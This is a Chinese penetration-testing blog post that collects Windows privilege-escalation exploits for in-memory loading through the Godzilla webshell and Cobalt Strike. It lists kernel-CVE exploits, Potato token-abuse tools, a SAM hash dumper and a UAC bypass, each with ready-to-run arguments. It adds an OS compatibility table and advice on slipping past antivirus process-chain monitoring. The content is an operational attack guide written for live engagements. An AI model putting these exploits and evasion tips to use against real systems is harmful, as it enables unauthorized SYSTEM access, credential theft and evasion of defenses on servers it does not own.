编辑
2024-05-09
渗透-技巧
00
请注意,本文编写于 545 天前,最后修改于 476 天前,其中某些信息可能已经过时。

目录

Windows提权Exploit整理
可用Exploit列表
系统兼容性
注意事项

Windows提权Exploit整理

这里整理了一些可用于内存加载执行的Windows常用提权exp,可使用哥斯拉的MemoryPE加载C/C++/Golang等利用工具,CobaltStrike的execute-assembly加载.NET利用工具。内存加载的好处包括绕过部分防护、无需考虑落地被杀等情况,同时省去了上传、删除等繁琐操作,提升渗透工作效率。

可用Exploit列表

  • CLSID: GitHub链接
  • accesschk: 用于扫描可读写目录的工具
    • Exploit: accesschk.exe
    • Arguments: /accepteula -uwds users C:\* -nobanner
  • hashdump: 从SAM获取Hash,需Users读权限
    • Exploit: hashdump.exe
    • Arguments: --samdump
  • MS14-058:
    • Exploit: MS14-058_x64.exe
    • Arguments: calc
  • MS15-015:
    • Exploit: MS15-015_x64.exe
    • Arguments: calc
  • MS15-051:
    • Exploit: MS15-051_x64.exe
    • Arguments: calc
  • MS16-032:
    • Exploit: MS16-032_x64.exe
    • Arguments: calc
  • CVE-2018-8120: 执行多次可能会蓝屏重启
    • Exploit: CVE-2018-8120.exe
    • Arguments: calc
  • CVE-2018-8639:
    • Exploit: CVE-2018-8639.exe
    • Arguments: calc
  • CVE-2019-1458: 执行多次可能会蓝屏关机
    • Exploit: CVE-2019-1458.exe
    • Arguments: calc
  • PetitPotato:
    • Exploit: PetitPotato.exe
    • Arguments: 3 calc
  • JuicyPotatoNG:
    • Exploit: JuicyPotatoNG.exe
    • Arguments: -t * -l 1337 -c {854A20FB-2D44-457D-992F-EF13785D2B51} -p c:\windows\system32\calc.exe
  • CoercedPotato:
    • Exploit: CoercedPotato.exe
    • Arguments: -c notepad.exe
  • EfsPotato: 使用pipe:sarpc、efsrpc、samr、lsass、netlogon
    • Exploit: EfsPotato.exe
    • Arguments: whoami lsarpc
  • BadPotato:
    • Exploit: BadPotato.exe
    • Arguments: whoami
  • GodPotato:
    • Exploit: GodPotato.exe
    • Arguments: -cmd "cmd /c whoami"
  • SweetPotato:
    • Exploit: SweetPotato.exe
    • Arguments: -c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami
  • RottenPotato:
    • Exploit: RottenPotato.exe
    • Arguments: "c:\windows\system32\cmd.exe" "/c whoami"
  • PrintNotifyPotato:
    • Exploit: PrintNotifyPotato.exe
    • Arguments: whoami
  • SigmaPotatoCore:
    • Exploit: SigmaPotatoCore.exe
    • Arguments: whoami
  • SharpBypassUAC: 使用eventvwr、fodhelper、computerdefaults、sdclt、slui、DiskCleanup
    • Exploit: SharpBypassUAC.exe
    • Arguments: -b fodhelper -e Y21kIC9jIGNhbGM=

系统兼容性

以下是不同Exploit与系统的兼容性列表:

ExploitMemorySystem
MS14-058MemoryPEWin2K3/8
MS15-015MemoryPEWin2K8/12
MS15-051MemoryPEWin2K3/8
MS16-032MemoryPEWin2K3/8/12
CVE-2018-8120MemoryPEWin2K3/8
CVE-2018-8639MemoryPEWin2K8
CVE-2019-1458MemoryPEWin2K8/12
PetitPotatoMemoryPEWin2K12
JuicyPotatoNGMemoryPEWin10/2K12/16
CoercedPotatoMemoryPEWin10
EfsPotatoExecuteAssemblyWin2K12
BadPotatoExecuteAssemblyWin10/2K12
GodPotatoExecuteAssemblyWin10
SweetPotatoExecuteAssemblyWin10/2K8/12
RottenPotatoExecuteAssemblyWin2K8/12/16
PrintNotifyPotatoExecuteAssemblyWin10/2K12/16
SigmaPotatoCoreExecuteAssemblyWin10
SharpBypassUACExecuteAssemblyWin10
CLSIDExecuteAssemblyWin10

注意事项

  1. 哥斯拉的内存加载是通过rundll32.exe执行的,可能会被360等进程链监控防护拦截。
C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  1. 使用x86还是x64的exp取决于IIS应用程序池w3wp.exe的进程位数,而非系统位数。
  2. 2008及以后版本的操作系统使用内存加载取决于父进程的位数,如iis的w3wp.exe,落地能兼容x86。
  3. 由于现在大多数操作系统都是2008及以后版本,并且都是x64的,这里只整理了x64的exp。
  4. 有部分exp在执行后可能会出现蓝屏重启或者关机的情况,实战中需谨慎使用。